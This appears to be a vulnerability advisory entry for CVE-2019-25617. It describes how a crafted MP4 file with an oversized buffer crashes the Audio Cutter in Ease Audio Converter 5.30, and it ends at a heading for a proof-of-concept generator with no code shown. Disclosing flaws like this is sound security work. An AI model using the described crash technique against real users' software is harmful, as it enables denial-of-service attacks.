CVE-2019-25617

Description

Ease Audio Converter 5.30 contains a denial of service vulnerability in the Audio Cutter function that allows local attackers to crash the application by processing malformed MP4 files. Attackers can create a crafted MP4 file containing an oversized buffer and load it through the Audio Cutter interface to trigger an application crash.

# PoC Generator for CVE-2019-25617
